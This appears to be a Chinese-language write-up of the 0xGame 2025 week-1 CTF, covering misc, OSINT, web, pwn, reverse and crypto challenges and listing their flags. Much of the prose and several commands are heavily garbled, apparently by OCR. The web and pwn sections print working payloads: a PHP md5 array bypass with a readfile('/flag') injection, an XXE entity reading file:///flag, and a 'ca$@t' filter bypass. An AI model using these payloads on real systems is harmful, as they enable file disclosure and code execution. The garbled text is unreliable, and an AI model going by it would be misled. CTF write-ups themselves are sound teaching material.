MISC[week1]

KR SER

%%ﬂ@ﬂ%:
doex 552 xml SCHFRORGEEL,  Fr DAEEAER HH AL, ) FL e s BT

XERH 7z i, FTJF “docProps” W] LLE B4 4 gift 1 xml 3L, FTIFED N flag
OxGame{omg!YOu_fOund_m3!_COngr4tul4t10ns!} (F#H1Z7H] leet)

Zootopia

png SCAFHT “RAEAR” —GEAE 16 BEfH|H, hILETH 16 BEHA#AT.
ALK B E R IR LR B P A5, [t X B

Hidden message

KILFFLBIN flag : OxGame{W1_Need_t0_t@k3_a_break}

Do not enter

HYEH 7z R gz XM, ZJE 72 47T dd TR S KA IR Z log SUAF
BN A% AR & 0xGame{WoW_yOu_fouNd_1t?_— 1 55}

OX U N ZEER dd 8515, HERAS O )
T RIS, BFE A log KM BRI 7 ME——1 flag, HIXA flag J5 A4 7R
K CRAiml2 114514)
THRIRAZ T flag, 22Ty, AR —MERIE
Flag : OxGame{WoW_yOu_fouNd_1t?_114514}

Sign_in

BEBMEEA R, HABEIRMEIE “=" 0] LUSE N 2 base6d Hifd, fEM 5N
0hQkwo{GovmOwo_d0_0hQ4w3_2y25_@xn_r@mu_Pyb_peX}, KI LW ELAEH .
H T 0xGame{}, FHNCAIUIEERS, TR FIUET 1 2 W2 EER, KIME—A7
FE+16, JaM#fE-10, s BT 135 flag.

CHIREE P ] DU YR 2 T A, 7R Z)


https://stylesuxx.github.io/steganography/
https://www.lddgo.net/encrypt/caesar-cipher

Flag : OxGame{WelcOme_t0_0xG4m3_2025_@nd_h@ck_For_fuN}

ZF|-0xGame

SRR, Bz s (KW flag 1)

ez_shell

HIXA P IRWAE AT A ARIRAT 7, TigH— a0 IR

ABEKH win REGEHH) emd 4.

ARSI, 47 9%i N whoami, pwd, Is-la f74, KRIEE SO /& . mysecret
W, VFE cat flagl.txt E cd 3t secret A BEH IR

flag2 than &

dep-ac970027-c756-U47a5-acldd-c19135e8bcf3-6698cdbc+8-88s88:

cat: can't open 'flagl.txt': No such file or directory

dep-ac970027-c756-U47a5-acld-cl9135e8bcf3-6698cdbcf8-88s88:

cat: can't open 'flagl': No such file or directory

dep-ac970027-c756-U7a5-acldd-c19135e8bcf3-6698cdbc+8-88s88:
dep-ac970027-c756-U47a5-acld-c19135e8bc+3-6698cdbcf8-88s88:

total 12

drwxr-sr-x 1 hacker hacker 4e96 Sep 25 13:54 .

drwxr—xr—-x 1 root root 4e96 Sep 25 13:54
drwxr-sr—x 2 root hacker 4096 Sep 25 13:54

dep-ac970027-c756-U47a5-acldd-c19135e8bcf3-6698cdbc+8-88s88:
dep—-ac970027-c756-U47a5-acldd-c19135e8bcf3-6698cdbc+8-88s88:

cat: can't open 'flagl': No such file or directory

dep-ac970027-c756-U47a5-acldd-c19135e8bcf3-6698cdbc+8-88s88:

It_is_funny_right?

dep-ac970027-c756-47a5-aclld-c19135e8bcf3-6698cdbcf8-88s88:

Password:

/home/hacker/.mysecret # cd /root
~ # cat flag2.txt
You_hacked_me!!!

B PHEEOR B AT

OxGame{hacker_/home/hacker_.mysecret_It_is_funny_right?_You_hacked_me!!!}

ezShell_PLUS

KA RIPATH, EEERFHETIMAKS

cat flagl.txt
cat flagl

1s
1ls -la

cd .mysecret
.mysecret$ cat 1

.mysecret$ cat fl

.mysecret$ su roo



C:\Users\Admin>ssh welcome@ncl.ctfplus.cn —-pn 33099
Bad port 'n'

C:\Users\Admin>ssh welcome@ncl.ctfplus.cn —p 33099
The authenticity of host '[ncl.ctfplus.cn]:33099 ([198.18.0.29]:33099)' can't be established.
ED25519 key fingerprint is SHA256:LcfsxyHhNJIkrimKwF7/KZmVhzOWRZSJfadwqzVBXFx0.

This host key is known by the following other names/addresses:
C:\Users\Admin/.ssh/known_hosts:4: [ncl.ctfplus.cn]:20072

Are you sure you want to continue connecting (ves/no/[fingerprint])? yes

Warning: Permanently added '[ncl.ctfplus.cn]:33099' (ED25519) to the list of known hosts.

welcome@ncl.ctfplus.cn's password:

welcomeRden—UF19Fda3-a60b-la63—| vie$

e, IRz,
ZJa Is-la &FE XM, KIN challenge
T challenge &, G cathash_value, JGII&SH b, ZJEZkEEFT T files

total 28

drwxr-x-—— 1 welcome welcome 4096 Oct 6 15:40 .

drwxr-xr-x 1 root root 4e96 Sep 30 12:24

-rw-r——r—— 1 welcome welcome 220 Jan 6 2022 .bash_logout

-rw-r——r—— 1 welcome welcome 3771 Jan 6 2022 .bashrc

-rw-r—-—r-— 1 welcome welcome 807 Jan 6 2022 .profile

drwxr-x-—-— 3 root welcome 4096 Oct 6 15:40
)d9U-69d9cb8885-387nv : - ge$ cd .profile

—Eash:.cdg .proFiie: No ﬁuch Filé or airectory

hash_value
total 20
drwxr—-x——— 3 root welcome 4096 15:40
drwxr—-x-—— 1 welcome welcome 4096 15:40
-rwxr-x—- 1 root welcome 271 15:40 de
drwxr-x-—- 2 root welcome U4@96 15:40
-rw-r————- 1 root welcome 65 15:40 hash_value

OX Bl cat T, KA
ZJEEE files I H o I —HESUIF S H: sha256 G A {H -
REAZARL AT RE— I 4, BERMHIES
for file in *.dat; do
echo -n "Sfile: "
sha256sum "$file" | cut-d'' -f1
done
SRS [ 22 B ] 4 e A L, 5 2 HT Y hash_value X R IR SCA B A T 7
e .. /decrypt X EHEFE AT A, 20— i 75 B [F]_E—2) H 3% challenge

0xGame{WelcOme_to_H@ckers_wO0rld}



Osint [week1]

¥5%8 background

K 1keafmbilig, s REEnTeL, RIEZKREID

B2 #—FELTH, miad, wRLMAEHERHREL T AKR—T
BZRES GRS ERKk T

OxGame{ K2 1l1_32.1191_118.9265}

Web[week1]

Lemon

<IDOCTYPE html:
<html lang="en">»
B <head> = </ heads

+++ ¥ <body> (]
<p> H—EFLEH BaliEE~ </p>
</body>
</html>

¢l-- BxGame{WelcBme tH OxG@me 2025 Web!!!} --»

Http BRI, REMHEA

XA TR % Hitp 15K WM, Wl get, post 5%

X


https://www.strerr.com/cn/exif.html

KHEALTH T yakit TH
F— 1L get Jafii N\ /?hello=web, % 3 get (&8N post, HAITEFEAE F EHFEI BN AT

POST- /?hello=web-HTTR/1.1

Host ? :-8@-3fee5cd3-63d1-4321-88a6-928921958618.challenge.ctfplus.cn
Referer ::www.mihoyo.com

Cookie:Sean=god

Via:clash

Accept-Language: -zh-CN,zh;q=0.9

Cache-Control:-max-age=08

Upgrade-Insecure-Requests: -1

User-Agent:5atari

Accept-Encoding: -gzip, -deflate
Accept:-text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
q=0.8,application/signed-exchange;v=b3;g=0.7

Content-Type: -application/x-www-form-urlencoded

Content-Length auto :-9

http=good

FERARA A IZRE, TR AR R LA

1. BR T8 —A47 post KIBMINAE UM EEHME, ARBSPERAN post W
2. VEREHT AT BRI RN RE

3. FERRIAAZEGHE T (7 KTFHRIE)

SKIAR T K

1 HTTP/1.1-208-0K

2 Content-Type: - text/html; - charset=UTF-8

3 Date: «Tue, @7 -0ct-2025-88:22:04 -GMT

4 Server: -Apache/2.4.54 - (Debian)

5 Vary: - Accept-Encoding

& Content-Length: 233

7

8 <hl>Yakit-&&- BurpSuite-&& HackBar: (B 23— 1 EIL</hl><h2>E:E (R AT LA R F H it g1 R ik </
h2><h2>Tech-0takus-Save The-World</h2>8XGame{Congratuation You Are Http God!!!}
<br><h1>HTTPHM X A1 BB, (FEMEA 1</h1>

RCE1

5 F BRI get 3% reel, post i rce283, flag A rce3 . FLIFili T flag it
iy H 264 72 md5(Srcel) === md5(Srce2) && Srcel l== Srce2

ARPIAF ST, md5($2H) ==NULL, BRIRPRASAF AN [R50 R B2 A mds {8 AT LAAHSS
(R TT LAA readfile((/'.'f. 1. "a".'g); S5 2k i readfile(‘/flag’), 313 flag

B AR 1



POST- /?rcel[ ]=114514-HTTP/1.1

Host ? :-8@-7ea3l7dd-6f18-4743-aaea-b@7eeB5cef3f.challenge.ctfplus.cn

Accept-lLanguage: -zh-CN,zh;g=8.9

Cache-Control:-max-age=0@

Accept: -text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image /webp,image/apng,*/*;

L8 I W e

q=9.8,application/signed-exchange;v=b3;g=0.7

(=3}

Upgrade-Insecure-Requests: -1

User-Agent: -Mozilla/5.@ (Windows-NT-1@.0; -Wink4; x64) -ApplelebKit/537 .36+ (KHTML, - like-Gecko)-Chrome/
141.8.0.9-Safarif537.36

8 X-Flag:flag

9 Referer: -http://mitm/

i)

1

|

Accept-Encoding: -gzip, -deflate
Content-Type: -application/x-www-form-urlencoded
12 Content-Length auto :-71

rce2[]=19198108- & -rce3=readfile(('/'."'f'.'1"."a"."g"));

RN
</code>BxGame{This is Your First Stop to RCE!!!

SR (#) &&BESH_reVenge

B o A A% WL B 5 /login.php B 5%

HH I s S ETIK 2 73531 9 admin,admin123

BT 6 it 5 A B S AR A, AT RN SRR RS R IR XXE T
FSULR PN

<?xml version="1.0"?>

<IDOCTYPE payload [

<IELEMENT payload ANY>

<IENTITY xxe SYSTEM "file:///flag">

1>

<creds>

<ctfshow>&xxe;</ctfshow>

</creds>

(R flag X RS

B JEAELE AR flag (AR SR ¥k flag JilHT— T X BT B AT )
0xGame{1a903b96-173a-8b3d-8a37-a81934dc4187_xxe114514} (5§ — R4 B UK 1919810)
(BB SREETR—F, Ata? ?)

PWN[week1]

test_your_nc

AR K ecd 773, F# ncat JGHi N ncat RS54, WINERGHIN cat flag B
Ao (SR S BT i AR ¥ ne AT BEE 80



C:\Users\Admin>ncat ncl.ctfplus.cn 47461
cat flag

OxGame{test_your_nc_first}

WERIT

R A& ncat+ R 55 28 Hidik
BIRLIE T cat, (HET U HS@S cat AN, Wik

C:\Users\Admin>ncat ncl.ctfplus.cn 47756
Please input your command,no cat no sh!

ca$@t flag
OxGame{yBu_cln_uls0_3x3cu73_cOmmind_wl7hOu7_5h_und_cuU7}

JR A ES@ AT IR shell 288, AL T2EFRF, BRAPAT cat ar 2 MR AT LLGEE cat M HE
£z Rl

B AR

XEAGAME, (HEFESHA, W0F:
(W SRBEAE F#H pwn LH, 1£43%1\ pip install pwn)
from pwn import *
r = remote('ncl.ctfplus.cn’, 48229) #iX B 4 N AR AR AR 25 4% 44 FK

print(r.recvline().decode().strip()) # Are you good at math?
print(r.recvline().decode().strip()) # Kore wa shiren da!

# % 1000

foriin range(1000):
question = r.recvuntil(b' = ?').decode()
expr = question.split(' = ?')[0].strip()
expr_fixed = expr.replace('x', "*').replace(' ', ')
ans = str(eval(expr_fixed))
r.sendline(ans.encode())

echo =r.recvline().decode().strip()
feedback = r.recvline().decode().strip()

print(f"[{i+1}] & : {ans}")

print("\n 1000 #5EjK ! ")



# KIE A%, filk shell
r.sendline(b"")
#FB R a4

rinteractive()

JEfE emd HHiI python, 5 S HIPRNGIARI ], H5HIA cat flag
[996] & : 673

[997] & : U462

[998] “m: 492

[999] & : 657717

[1000] ”*: 1083

100058 52 Ak !
[*] Switching to interactive mode
Congratulations on completing the challenge

cat flag
OxGame{7h3_mu573r_Of_mu7h!!!}

Reserve[week1]

Signin

ARG IF UL, AE winhex T — T SCAFJG Crl+F A4k 0xGame RIH]
UxGame {G00d% !gnln & MOw 5t4rt y0

ur R3V3R5E} Welccmes to 0xGameZ(2
5 The flag is in the progr

Signin2

AR IR g td it utf-8? EHRH S, HIEZENZE, RIWCETHIREHRIT T
ool 2, RIUINER flag



X 2% G I flag:
@*Wqlu—guAs@}CoBo*yq! *y~*yuoitttoAGF@DDIEQI/
BN — 1T EHIFE N key KR

1
R G Flag: ?)Vp|t,ft@r? |BnAn)xp~)x})xtn""n@?E?CCHD?H.
HEARKEER, S—FBE

FerkiAN 1, EER 3, 4T EHYRR 6L IR IUECE . BAE 2] oxGame [
Ao HEH 3, 4 B IREES Y0y 16, 5 T REIN key JAERIAT, KILELT)

S AR — %)

X 2 25 ) Flag:
@*Wqlu—quAs@}CoBo*yq!*y~*yuo##oAQF@DDIEQ@I/
BRI — T BHIFAkey R

16
BFEERNflag: 0xGame{WelcOm3_2_xiaoxinxie_qq_1060449509}

= =

I

{Rf# H 7 flag!

Crypto[week1]

2FA

F27R: emd FEESEHIA chep 65001 BEA utf-8 15230, 75 0 & i ) FLAL
IEHEFRS A, HIRRR, Sedid, M AR st ar bl
ZJaTR i T 4ES, FILEL R — AER RS S IR, AN

RIS
otpauth://totp/0xGame2025:spri &
ng?secret=6R5KCWS6S7T/4E®6...

H1 T 2FA JE XU EIHAIERY, FRAG B —H secret Z J5ib /i % 2FA T H MY, 7E
BRI UED R SE AR B, /R b

AHES TR



https://cli.im/deqr/other
https://2fa.run/

Choice: L

Verification Code: 185563

Login successful!

Choice: G

Out of time(1@s). Please login again.

Choice: L
Verification Code: 556343
Login successful!

Choice: G
OxGame{dcce78elUd-17c3-Ucf2-alBd-55dccd7flaeb}
7!

EZ RSA

BWHT, pgYINEEL ST on BAME—E CBREEEAFER) , Ul EERHEL T HE
il o A1

i

p=6097950772453009305179751185395436501814791705247437361666346219346436918471
1
0=8671868949919499833974637989124262149553843453997554225245894721877657782446
7

AT ADNRBA AR e CHIEH o , RIFAIAIFEL THRME, RAED m B 7150
Al

A1 H flag

0xGame{F4ctOrDB_1s_useful_r19ht?}

Vigenere

SERRMT— T task: HELAH T key A alphabet &, i HRUL &AL 79w 5

N T YER SR WA R A, TR, AT R TR IX Rz D PR B Sk BV AT A5 H i A
i 2 % S

AN -

from string import digits, ascii_letters, punctuation

key = "Welcome-2025-0xGame"
alphabet = digits + ascii_letters + punctuation

ciphertext = 'WL"mKAaequ{q_aY$0z8 wBqLAF_{cku|eYAczt!pmogAh+'

def vigenere_decrypt(ciphertext, key):

plaintext =


http://www.factordb.com/index.php

key_index=0
for char in ciphertext:
bias = alphabet.index(key[key_index])
char_index = alphabet.index(char)
new_index = (char_index - bias) % len(alphabet)#¥& 775 & #54L NR 5| B 7115
plaintext += alphabet[new_index]#§% & [A] 775 £ FH INAE K JE
key_index = (key_index + 1) % len(key)
return plaintext

print(vigenere_decrypt(ciphertext, key))
H python 217 B 7], /a4 AH flag N
0xGame{you_learned_vigenere_cipher_2df4blc2e3}

Vigenere Advanced

WAEJRNTEH « import HARANH U, assert A2 B O/ 5 [ A A BTE AN 3L, 55— 1T RR
oxGamef..... ), B ATRRELRRE —N R (RIHRHFER g
2R 4E T JE W R EL, (EA B I RRIR AR T IR F R T RE M 2 A, 75 B2 A T RE )
g R . CHIRSLPR FAZ)

1BAT LT A fif

from string import digits, ascii_letters, punctuation

alphabet = digits + ascii_letters + punctuation
key ="QAQ(@.@)"
cipher = "0l0CSoYM<c;amo_P_"

key_bias = [alphabet.index(k) for k in key]

print(" BT A 7 B IR S5 H: )

key_index=0

fori, cin enumerate(cipher):
bias = key_bias[key_index]
c_index = alphabet.index(c)

solutions =[]
for p in range(0, 94):
if ((p + bias) * p) % 94 == c_index:
solutions.append(alphabet[p])

print(f"A7 & {i}: {solutions}")
key_index = (key_index + 1) % len(key)
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o B

BRIEREEH . A2 0xGame ANAZ i, 8] e 75 25k T /NS F 6,
F4EE1E X152 excel lent.
& flag N : OxGame {excellent}.
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